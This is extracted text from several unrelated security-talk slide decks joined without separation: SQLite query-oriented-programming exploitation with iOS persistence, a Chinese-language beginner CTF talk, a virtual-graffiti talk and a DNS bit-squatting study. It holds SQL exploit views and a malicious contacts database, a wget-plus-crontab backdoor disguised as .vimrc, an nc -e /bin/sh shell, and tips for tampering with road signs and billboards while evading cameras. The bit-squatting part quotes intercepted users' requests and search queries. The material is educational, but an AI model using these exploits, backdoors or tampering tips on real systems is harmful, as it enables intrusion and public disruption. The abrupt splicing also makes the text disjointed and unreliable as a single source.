p64_system.col) FROM p64_simple_create JOIN
p64_simple_destroy JOIN
p64_system;
CREATE VIEW p64_simple_create AS SELECT cast(
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / 1) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 8)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 16)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 24)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 32)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 40)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 48)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 56)) % 256)) as blob) as col;
QOP Chaining
The Party Goes On
CREATE VIEW u64_leak AS SELECT (
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -1, 1)) -1) * (1 << 0))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -2, 1)) -1) * (1 << 4))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -3, 1)) -1) * (1 << 8))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -4, 1)) -1) * (1 << 12))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -5, 1)) -1) * (1 << 16))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -6, 1)) -1) * (1 << 20))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -7, 1)) -1) * (1 << 24))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -8, 1)) -1) * (1 << 28))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -9, 1)) -1) * (1 << 32))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -10, 1)) -1) * (1 << 36))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -11, 1)) -1) * (1 << 40))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -12, 1)) -1) * (1 << 44))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -13, 1)) -1) * (1 << 48))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -14, 1)) -1) * (1 << 52))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -15, 1)) -1) * (1 << 56))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -16, 1)) -1) * (1 << 60)))
) AS col;
CREATE VIEW u64_libsqlite_base AS SELECT ( (SELECT col FROM u64_leak ) - ( SELECT '3164384') ) as col;
CREATE VIEW u64_simple_create AS SELECT ( (SELECT col FROM u64_libsqlite_base ) + ( SELECT '959524') ) as col;
QOP Chaining
Turtles all the way Down
CREATE VIEW le_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;
CREATE VIEW leak AS SELECT SUBSTR((SELECT col FROM le_leak), -2, 2)||
SUBSTR((SELECT col FROM le_leak), -4, 2)||
SUBSTR((SELECT col FROM le_leak), -6, 2)||
SUBSTR((SELECT col FROM le_leak), -8, 2)||
SUBSTR((SELECT col FROM le_leak), -10, 2)||
SUBSTR((SELECT col FROM le_leak), -12, 2)||
SUBSTR((SELECT col FROM le_leak), -14, 2)||
SUBSTR((SELECT col FROM le_leak), -16, 2) AS col;
Me Describing QOP Chains
QOP.py
import qop
my_first_qop = []
my_first_qop.appned(bin_leak())
my_first_qop.appned(u64('u64_bin_leak', 'bin_leak'))
my_first_qop.appned(math_with_const('u64_libsqlite_base', 'u64_bin_leak', '-', SIMPLE_MODULE_OFFSET))
my_first_qop.appned(p64('p64_bin_leak', 'u64_bin_leak'))
Owning A Password Stealer
Backend (PHP7)
COMMIT;
•
Given SQLite popularity this opens up possibilities to a wide range of
attacks
•
Let’s explore another use-case
Next Target: iOS Persistency
•
iOS uses SQLite extensively
•
Persistency is hard to achieve on iOS as all executable files have to be
signed
•
SQLite databases are not signed
•
iOS (and MacOS) are both compiled with ENABLE_FTS3_TOKENIZER.
•
We have a solid methodology for Query Hijacking
•
Re-gaining code execution after reboot by replacing an SQLite DB
ABMultiValueLabel
CREATE TABLE ABMultiValueLabel (value TEXT, UNIQUE(value))
ABMultiValueEntryKey
CREATE TABLE ABMultiValueEntryKey (value TEXT, UNIQUE(value))
override
CREATE VIEW override AS SELECT fts3_tokenizer('simple', x’4141414141414141');
crash
CREATE VIRTUAL TABLE crash USING FTS3(col, tokenize='simple');
ABMultiValueLabel
CREATE VIEW ABMultiValueLabel (value) AS SELECT ((SELECT * FROM override)+
(SELECT * FROM crash))
ABMultiValueEntryKey
CREATE VIEW ABMultiValueEntryKey (value) AS SELECT ((SELECT * FROM override)+
(SELECT * FROM crash))
AddressBook.sqlitedb
AddressBook.sqlitedb.pwn
Malicious Contacts DB
Reboot and…
Incident Identifier: 378D2096-CF78-4BE8-8C06-D7F620D406A8
CrashReporter Key: 8051c945037c6995e923dfdc9f396854854978e3
Hardware Model: iPhone10,4
Process: Contacts [3453]
Path: /private/var/containers/Bundle/Application/965390C8-7936-4F79-BEE5-C47BF14B80EB/Contacts.app/Contacts
Identifier: com.apple.MobileAddressBook
Version: 1.0 (1.0)
Code Type: ARM-64 (Native)
Role: Foreground
Parent Process: launchd [1]
Coalition: com.apple.MobileAddressBook [682]
Date/Time: 2019-03-11 16:04:53.2968 +0200
Launch Time: 2019-03-11 16:04:53.0220 +0200
OS Version: iPhone OS 12.1.1 (16C5050a)
Baseband Version: 2.02.02
Report Version: 104
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x4141414141414149
struct sqlite3_tokenizer_module {
int iVersion;
int (*xCreate)(int argc, const char *const*argv,
sqlite3_tokenizer **ppTokenizer);
int (*xDestroy)(sqlite3_tokenizer *pTokenizer);
int (*xOpen)(sqlite3_tokenizer *pTokenizer,
const char *pInput, int nBytes,
sqlite3_tokenizer_cursor **ppCursor);
...
};
Secure Boot Bypassed
CVE-2019-8577
SELECT pwn FROM iOS ;
•
BONUS: AddressBook.sqlitedb is actually used by many different processes
- Contacts, Facetime, Springboard, WhatsApp, Telegram…
•
We can execute code in the querying process context
•
Privilege escalation!
•
ANY shared DB can be used
•
CVE-2019-8600, CVE-2019-8598, CVE-2019-8602, CVE-2019-8577
Takeaways
•
Querying a database might not be safe
•
With QOP -Memory corruptions can now be exploited using nothing but
SQL
•
QOP.py - This is just the tip of the iceberg
Future Work
•
Less hard-coded exploits
-
sqlite3_version()
-
sqlite_compileoption_used(X)
•
PE everything
•
Other DB engines
•
Expand primitives - Absolute Read/Write
Thank You
@GullOmer | pdf |
CTF For Beginner
bananaapple
$whoami?
• bananaapple
• 交通大學資工系大四
• 從開始學習資安到現在約一年
• 專長 : Binary exploit
• 目前為 Bamboofox 中的一員
• 曾經參與的比賽
• CTCTF ( 台交駭客搶旗賽 )
• Bosten key party CTF 2015
• DEF CON CTF Qualifier 2015
• HoneyMe CTF
• ……
故事的開始
DESCRIPTION
這是專在講 "程式不安全" 的課程,也建立一個
wargame.cs.nctu.edu.tw 的專屬網站。這門課最早在96年開設,中
間斷了幾年,去年恢復開課,但講師力不從心,宣示是最後一次。
直到最近。學生們很爭氣地,加入 HITCON 戰隊,與 CHROOT、台
科大、台大等學生合力打到世界駭客年會的亞軍,表示很希望維持
這股氣勢,同時響應科技部次長的宣示,要祕密培訓學生。於是,
重啟程式不安全的課程。
故事的開始
一點開課程網頁…
講師: 大家可以開始了
蛤?
不會吧
連題目都看不懂
講師:
可以先做第三題, 很簡單的
最後實在是受不了
才去問講師要做什麼
telnet secprog.cs.nctu.edu.tw 10003 ( 當初連 nc 是什麼都不知道 )
才開始解題…
當初想說要是兩個禮拜內沒解出任何一題
就放棄吧
ROP
給你固定的 instructions 選項
組合 instructions
來合成三個 system call
open -> read -> write
open “/home/rop/flag”
open return file fd
read file fd to buffer
write buffer to STDOUT
ROP
當初的 payload
1,13,13,11,9,7,7,12,4,2,2,8,8,0,12,13,1,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,13,9,6,
9,13,4,4,8,12,12,12,12,12,0,9,12,3,1,8,8,0
SECPROG{return_oriented_programming_is_easy!}
這是我最初解出的 wargame
後來又問了那要怎麼看 binary
旁邊就有一個人回說用 objdump 看阿
我用 objdump 一行一行看組語,看了四、五個禮拜後才知道有 IDA
PRO 這種工具
X,當初到底是誰說用 objdump 看 binary 的
只是也意外地學習到一項技能
打 CTF 的時候有些題目需要能夠直接看組語的能力
因為IDA PRO 翻出的 c code 可能會不正確
就可以直接看 assembly 去驗證
IDA PRO簡介
• 強大的反組譯工具
• Hex-Rays decompiler plugin
CTF
• 全名為 Capture The Flag 簡稱為 CTF
• 是目前網路當紅的資安競賽
• 培育資安人才之搖籃
• 主要的類型
• Jeopardy
• Attack And Defense
• King of the Hill
Jeopardy
Jeopardy
• Jeopardy 為一種遊戲進行方式,中譯“答題賽”
• 題目由主辦單位公布
• 哪個 service 開在哪個 IP 的哪個 port
• 題目的基本資訊、hint
• 提供 binary 檔案下載
Attack And Defense
Attack And Defense
Attack And Defense
• 每支隊伍負責維護一台 server ( gamebox ) 上的數個 service
• 遊戲目的大致可以分為兩種
• 維護 service : 能夠獲得基本分數
• 修補漏洞 : 不影響正常程式行為的情況下進行修補 ( binary patch )
• 攻擊服務 : 被入侵的一方會扣分, 扣的分數平均分給入侵的隊伍
Attack And Defense
• 通常一個 service 會存在很多個漏洞
• 在家目錄底下會有 flag 檔案
• 每過一個 round flag 會更新
• 監聽網路流量,分析封包並修補漏洞以及重送別隊的 payload
• 植入後門,持續性地送 flag 回來
King of the Hill
King of the Hill
• 和 Attack And Defense 比較相近的類型
• 佔領的時間越久得到的分數越多
• 有些類型可以把自己的 binary 寫到主機上
• 或是把自己的 key 寫到首頁上
第一次的CTF
學長後來看我蠻認真地在學習
就邀我跟他們 ( HITCON ) 一起打 CTF
本來心想學了這麼多終於有機會可以展現了
吃我的 shellcode 拉
結果……
ASIS CTF Finals 2014
題目一題都看不懂 G_G
教練我想打CTF
教練我想打CTF
在學習資安和打 CTF 的這段路上
其實非常痛苦
你會遇到不只一次以上的挫折
隨著自身的努力和進步後
困難也不會因此變得簡單
只是慢慢就會習慣了!!!
ddaa : 第一次總是比較痛
教練我想打CTF
開始更認真研究各種 Vulnerabilities
把自己不熟的原理搞清楚
使用 gdb 設 break point去觀察各個 registors 值
還有 strace 和 ltrace 去追蹤各個 system call 和 library call
不斷看 code 看 write-up
真正實作一次
不斷訓練自己 exploit 的思路
Bypass !!!
GDB: The GNU Project Debugger
• Command-line based debugger
• 使用 xinetd 架設一個一模一樣的環境開在 port 上
• 連線成功後使用 ps 去看 pid
• 開啟 gdb attach process
• 開始 debug!!!
• 觀察 stack frame
• 直接修改 memory 預測 exploit 會達到的效果
• set $eip = 0x0804860d
• Succeed -> 開始寫exploit
CTF Tools
• IDA PRO :
強大的反解譯工具
• GDB:
Command-line based debugger
• pwntools :
python package
專門用來撰寫 exploit
• checksec.sh :
來檢查 binary 有什麼保護
期末考-CTCTF
Attack & Defense
每支隊伍負責維護一台 server 的數個 service,在比賽期間攻擊其
隊伍的 service,並修補自己 service 的漏洞
期末考-CTCTF
為期兩天的 CTF
打完大家都累癱了
分析別隊的 payload 並加以應用
replay 別隊的 payload 達到相同的效果
應該如何迅速的 binary patch
Ex : /home/starbound/flag 將字串截斷直接 patch 成 null byte \x00
將 Library 裡危險的 function ( ex: system ) patch 成 NOP \x90 指令
將 input length 變小將 buffer 開大
期末考-CTCTF
像是怎麼將進來的 shell 殺掉
ps -aux | grep starbound
kill $pid
找找看有沒有後門
find / -user starbound
看 crontab 有沒有被別人寫入東西
crontab -l
Backdoor
• 目的 : 持續性的取得 shell 的控制權
• 把 flag 傳回來
• 寫 crontab 去執行檔案
• 找有 write 權限的地方,名稱盡量要取低調一點
backdoor.sh ( X )
.vimrc .swp .X11-config ( O )
wget http://people.cs.nctu.edu.tw/~wpchen/backdoor.sh -O
/tmp/.vimrc ; crontab /tmp/.vimrc
nc -e /bin/sh -l -p 8888 將聽到的指令交由 sh 執行
Binary Patch
• Why binary patch?
• Tools
• hexeditor
• bvi
• vim+xxd
• Vulnerabilities
• Input length limit
• Buffer size
• Initialized value
• Vulnerabilities
• Strings ( file path : /home/flag/eliza )
• Unused and dangerous function ( system(), exev() )
Demo Time
在 local 使用 xinetd 在 5566 port 架設同樣的環境
nc localhost 5566
觀察 binary :
strings , objdump
使用 IDA PRO decompiler program
撰寫 exploit
backdoor
binary patch
demo video : https://www.youtube.com/watch?v=XPlxIYUm_3M
Bamboofox
成員組成
• 交大兩大實驗室
• DSNS
• SQLAB
• 和其他來自各校的高手
• 中央大學、中原大學
• 以及資安業界上的前輩
戰績
• BCTF 2015 第13名
• 0CTF 2015 第22名
• 0CTF 2015 Finals 第7名
• ASIS 2015 第18名
• DEF CON CTF Qualifier 2015 第37名
• HoneyMe CTF 第一名
Bamboofox
社團網站 : https://bamboofox.torchpad.com/
Facebook : https://www.facebook.com/groups/1513695338847931/
Slack channel : https://bamboofox.herokuapp.com/
主要目的是 CTF 競賽, 希望能在 DEFCON CTF 打進 Final
目前在交大正在創立社團 : 網路安全策進會
Facebook : https://www.facebook.com/NCTUCSC
• 資安知識的傳承與交流
• 協助學校修復校園網站漏洞
資源
暑訓課程內容 :
https://bamboofox.torchpad.com/
Class/training
程式安全網站 :
http://ctf.cs.nctu.edu.tw/
社團訓練網站 :
http://train.cs.nctu.edu.tw/
Q&A | pdf |
VirGraf101:
An Introduction to Virtual Graffiti
Tottenkoph
What is virtual graffiti?
• Virtual objects and/or digital messages,
images, animations, etc.
• Applied to or viewable from public locations
• Can be viewed through:
– Computers
– Mobile devices
– Billboards
– Signs
– Side of buildings
What we’re covering
• History of graffiti
• Examples
• Legal concerns and implications
• Who and why?
History: Prehistoric
• Supposedly done over 30,000 years ago
• Started with cave paintings
– Used animal bone and pigments
• Debatable because:
– Used during religious ceremonies
– Sometimes endorsed by society
History: Ancient Greece
• First instance was in Ephesus
• Etched in stone and mosaics
• Supposedly a prostitution advert
• Picture of:
– Heart-shaped handprint
– Footprint
– Number
History: Ancient Rome
• Included: curses, quotes,
alphabets, declarations of
love, slogans
• Some was preserved in
Pompeii
• Most well-known:
– “suspirium puellarum
Celadus thraex”
– Address for Novellia
Primigenia of Nuceria
– “mansueta tene”
History: Misc. Pre-Modern
• Mayans at the site of Tikal in Guatemala
• Vikings in Rome, Ireland, and Constantinople
• Renaissance artists at Nero’s Domus Aurea
• Signature Rock
• French soldiers during the Napoleonic
campaign of Egypt
History: Modern Graffiti (60s-70s)
• Used mostly by political
activists and gangs
• Moved from streets to
subway systems
• Goal: out-tag and out-
bomb other artists
• Polka dots, cross-hatches,
and checkers became
popular
• Spray paint helped a lot
• “Top-to-bottoms” came
about
History: Modern Graffiti (1980s)
• Harder to be a graffiti
artist because:
– Crack
– Police
– Store owners
– Metropolitan Transit
Authority
• As a result, street and
rooftop graffiti became
more popular.
History: Modern Graffiti (2000s)
• Utilized as guerilla
advertising by companies
– IBM
– Sony
• Mainstream pop culture
started to catch on
– Video games (Jet Set Radio
Future, Rakugaki Okaku)
– Clothes design (Marc Ecko)
“Tried and True” brought to you by:
Throwies and Floaties
• Most common and
popular forms of Virtual
Graffiti
• Cheap, fun
• Materials:
– LEDs
– Batteries
– Tape
– Magnet(s)-or-Balloons
Electrograf
• Varying difficulty
• Varying price
• (Basic) Materials:
– Stencil(s)
– Paint
– Magnetic paint
– Conductive Paint
– LEDs
L.A.S.E.R. Tag
•
Difficulty lies in the setup
•
Can get expensive
•
Materials:
– 1 Laptop - Core 2 Duo 1.83 Ghz
1GB Ram Nvideo Geforce Go 7300
256MB - VGA and DVI out.
– 1 5000 ANSI Lumens 1024x768 DLP
Projector.
– 1 Watec 221S Security/Astrononmy
Camera with manual iris zoom lens
– 1 Magicarm and super clamp
– 1 Pinnacle PCTV USB capture card
– 1 60mW Green Laser
– Loads of AAA batteries.
Examples: Shiny and New
Electronic Roadside Construction Signs
(ERCS)
ERCS
• Started showing up in mid- to late-2008
• One manufacturer in particular is used by DoT
• Started with “zombies ahead” and
deteriorated from there
• Post from i-hacked has step-by-step
instructions on how to do it
– Posted in January of 2009, but is still accurate
– Has pictures!
ERCS: Vulnerabilities
• Easy to find
• Unlocked or “secured” by a small master lock
• Control pad is in the access panel
• Usually no password
– If there is a password, it’s usually a default
password
• If not default, can easily be changed
ERCS: Don’t be a dumbass
• Usually on a busy road (or right before one)
• If it warns of impending construction, don’t do
it right before or during construction hours
• Some areas may have cameras
• Use common sense
– Gloves
– Be a hoodie ninja
– Walk, don’t drive directly up to it
Outdoor Digital Billboard Network
ODBN: Types
• Verizon Telephone
Network Interface
– Testing instructions on
site
• Wireless/Satellite
– Open
– Unencrypted
• Plug in
– “secured” with a
masterlock
ODBN: Vulnerabilities
• Network:
– Packet sniffing
– War dialing
– Open ports
• Physical:
– Social engineering
– Security camera fail
– No barrier/obstacle around base of billboard
ODBN: Update and Notes
• Uses digital signage software that is ran
mostly on XP machines
– They actively discourage the use of Apple or Linux
machines (unless there’s a XP virtual running)
– Thinks XP security issues are irrelevant to digital
signage software.
• Don’t do this during peak hours
• Be inconspicuous
• Always mind the orange sticker
Digital Menus
Digital Menus
• No known cases of them being hacked (yet)
• Starting to grow in popularity in:
– Movie theaters
– Airports
• Uses same software as the digital billboards
do
• Controlled usually in a manager’s office
Legal Concerns and Implications
Governments Responses to Graffiti
• North America
• Australia
• Europe
• Asia
You could be charged with…
• Vandalism
• Hacking
• Breaking and Entering
• Upsetting public disorder
– Graffiti Research Lab
• Murder
Who would be interested?
• Artists
• Extremists
• Governments
• “Damn kids”
• Hax0rz
Why are they interested?
• Guerilla advertising
• Advertise political goals
• Call for social emancipation
• Artistic expression
• Propaganda
• The lulz
Questions? Comments? | pdf |
Disclaimer: This presentation is based upon personal research that was not supported
or authorized by my employer. The material being presented may be considered offensive to
those with weak hearts, a sense of ethics, or those highly invested in technology funds.
Robert Stucke
[email protected]
DNS Has Been Found
To Be Hazardous To Your
Health
Use With Caution
About Me
Phoenix @ 90K feet!
Agenda
DNS Bit-Squatting
Misunderstood end-point DNS behavior
You don’t own that domain, I do
Abandoned Botnets and Forgotten Toys
Bit-Squatting
Presented by Artem Dinaburg at Blackhat and Defcon in
2011
Project Page
http://dinaburg.org/bitsquatting.html
Presentation Video
http://youtu.be/lZ8s1JwtNas
Presentation Slides
http://dinaburg.org/data/DC19_Dinaburg_Presentation.pdf
Bit-Squatting
What is it?
Why does it happen?
What is the impact?
Bit-Squatting
Bit-Squatting
0110011101101111011011110110
0110011101101101011011110110
Bit-Squatting
What is Bit-Squatting?
Anticipate the way a single bit error in
memory will corrupt the DNS name
Registering those mangled domains
Rapture, Mayhem, Yay!
Bit-Squatting
01100111011011110110111101100111011011000110010100101110011000110110111101101101
01100111011011110110111101100110011011000110010100101110011000110110111101101101
google.com
goofle.com
Bit-Squatting
What causes these memory errors?
Heat
Electrical Problems
Radioactive Contamination
Cosmic Rays!
Bit-Squatting
Phones
Bit-Squatting
“The guidance we give to data center operators is to raise
the thermostat. “
“Many data centers operate at 70 degrees or below. We’d
recommend looking at going to 80 degrees”
- Erik Teetzel
Energy Program Manager at Google
The peak operating temperature Google’s Belgium
data center reaches is 95 degrees Fahrenheit!
Bit-Squatting
Bit-Squatting
gstatic.com
Google domain for serving static content
CSS
Images
Javascript
XML
Bit-Squatting
gstatic.com
fstatic.com
estatic.com
cstatic.com
ostatic.com
wstatic.com
grtatic.com
gqtatic.com
gwtatic.com
gctatic.com
g3tatic.com
gsuatic.com
gsvatic.com
gspatic.com
gsdatic.com
gs4atic.com
gstctic.com
gstetic.com
gstitic.com
gstqtic.com
gstauic.com
gstavic.com
gstapic.com
gstadic.com
gsta4ic.com
gstathc.com
gstatkc.com
gstatmc.com
gstatac.com
gstatyc.com
gstatib.com
gstatia.com
gstatig.com
gstatik.com
Bit-Squatting
gstatic.com
fstatic.com
estatic.com
cstatic.com
ostatic.com
wstatic.com
grtatic.com
gqtatic.com
gwtatic.com
gctatic.com
g3tatic.com
gsuatic.com
gsvatic.com
gspatic.com
gsdatic.com
gs4atic.com
gstctic.com
gstetic.com
gstitic.com
gstqtic.com
gstauic.com
gstavic.com
gstapic.com
gstadic.com
gsta4ic.com
gstathc.com
gstatkc.com
gstatmc.com
gstatac.com
gstatyc.com
gstatib.com
gstatia.com
gstatig.com
gstatik.com
Bit-Squatting
gstatic.com
fstatic.com
estatic.com
cstatic.com
ostatic.com
wstatic.com
grtatic.com
gqtatic.com
gwtatic.com
gctatic.com
g3tatic.com
gsuatic.com
gsvatic.com
gspatic.com
gsdatic.com
gs4atic.com
gstctic.com
gstetic.com
gstitic.com
gstqtic.com
gstauic.com
gstavic.com
gstapic.com
gstadic.com
gsta4ic.com
gstathc.com
gstatkc.com
gstatmc.com
gstatac.com
gstatyc.com
gstatib.com
gstatia.com
gstatig.com
gstatik.com
Bit-Squatting
170.185.129.xx "t1.gwtatic.com"
GET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer
http://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch
&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117
0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NE
T CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)"
Bit-Squatting
170.185.129.xx "t1.gwtatic.com"
GET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer
http://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch
&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117
0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)"
Bit-Squatting
170.185.129.xx "t1.gwtatic.com"
GET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer
http://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch
&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117
0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)"
Bit-Squatting
170.185.129.xx "t1.gwtatic.com"
GET /images?q=tbn:ANd9GcShHkx1JNpi-
DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer
http://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch
&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117
0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)"
Bit-Squatting
170.185.129.xx "t1.gwtatic.com"
GET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer
http://www.google.com/search?um=1&hl=en&safe
=active&biw=1024&bih=587&tbm=isch
&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi
=g1&aql=&gs_sm=e&gs_upl=6506l11170l0l11373l
14l14l1l0l0l0l327l1716l2-4.2l6l0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)"
Bit-Squatting
170.185.129.xx "t1.gwtatic.com"
GET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer
http://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch
&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117
0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET
CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.2)"
Bit-Squatting
170.185.129.xx "t1.gwtatic.com"
GET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer
http://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch
&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_
upl=6506l11170l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)"
Bit-Squatting
200.142.133.xx "t3.gstatmc.com“
GET /images?q=tbn:ANd9GcTpBH9vsMVT7yp6aC0-
wVunxW1aIK7ICDDFjB2pMY2PKIeEOdmfNF2LpRE
"http://www.google.com.br/m/search?site=images&q=selena+gomez+photoshop
&start=14&sa=N“
Bit-Squatting
200.142.133.xx "t3.gstatmc.com“
GET /images?q=tbn:ANd9GcTpBH9vsMVT7yp6aC0-
wVunxW1aIK7ICDDFjB2pMY2PKIeEOdmfNF2LpRE
"http://www.google.com.br/m/search?site=images&q=selena+gomez+photoshop
&start=14&sa=N“
Bit-Squatting
200.142.133.xx "t3.gstatmc.com“
GET /images?q=tbn:ANd9GcTpBH9vsMVT7yp6aC0-
wVunxW1aIK7ICDDFjB2pMY2PKIeEOdmfNF2LpRE
"http://www.google.com.br/m/search?site=images&q=selena+gomez+photoshop
&start=14&sa=N“
Bit-Squatting
200.142.133.xx "t3.gstatmc.com“
GET /images?q=tbn:ANd9GcTpBH9vsMVT7yp6aC0-
wVunxW1aIK7ICDDFjB2pMY2PKIeEOdmfNF2LpRE
"http://www.google.com.br/m/
search?site=images&q=selena+gomez+photoshop&start=14&sa=N“
Bit-Squatting
“What I want to
be when I grow up”
Bit-Squatting
But isn’t this just random noise?
Bit-Squatting
91.217.185.104 "www.g3tatic.com" GET /m/images/logo_small.gif
"Nokia5130c-2/2.0 (07.91) Profile/MIDP-2.1 Configuration/CLDC-1.1“
125.235.49.56 "www.g3tatic.com" GET /m/images/logo_small.gif
"GIONEE-D6/SW1.0.0/WAP2.0“
196.201.208.32 "www.g3tatic.com" GET /m/images/logo_small.gif
"Alcatel-OT-305/1.0 ObigoInternetBrowser/Q03C“
125.235.49.55 "www.g3tatic.com" GET /m/images/logo_small.gif
"LG-GB270 Obigo/WAP2.0 MIDP-2.0/CLDC-1.1“
200.89.84.90
"www.g3tatic.com" GET /m/images/logo_small.gif
"ZTE-G_R221/WAP2.0"
Bit-Squatting
Bit-Squatting
Bit-Squatting
What else is that heat
doing to Google
servers?
Bit-Squatting
209.85.226.83 "www.gwtatic.com"
/igomodules/youtube/v3/youtufe.xml "Feedfetcher-Google”
209.85.224.96 "www.gstqtic.com"
/ig/modules/youtube/v3/youtube.xml "Feedfetcher-Google”
209.85.226.89 "www.gstctic.com"
/ig/modules/tabnews/kennedy/tabnews.xml "Feedfetcher-
Google”
209.85.228.82 "www.gstatmc.com"
/ig/modules/wikipedia/kennedy/wikipedia.xml "Feedfetcher-
Google"
Bit-Squatting
Widget
Bit-Squatting
<?xml version="1.0" encoding="UTF-8" ?>
<Module>
<ModulePrefs
title="__MSG_title__"
directory_title="__MSG_title__"
title_url="//maps.google.com/maps?q=__UP_location__"
description="__MSG_description__"
author="Mark L."
author_affiliation="Google"
author_location="Santa Barbara, CA"
default_value="false"/>
…
<![CDATA[ The goods are in here!
Bit-Squatting
background-image:url(‘
http://www.grtatic.com/ig/modules/gadgetfacto
ry/v2/search-white.cache.png
‘)
Bit-Squatting
62.30.127.40 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
62.30.90.211 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
62.31.197.88 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
77.101.112.66 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
77.101.54.41 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
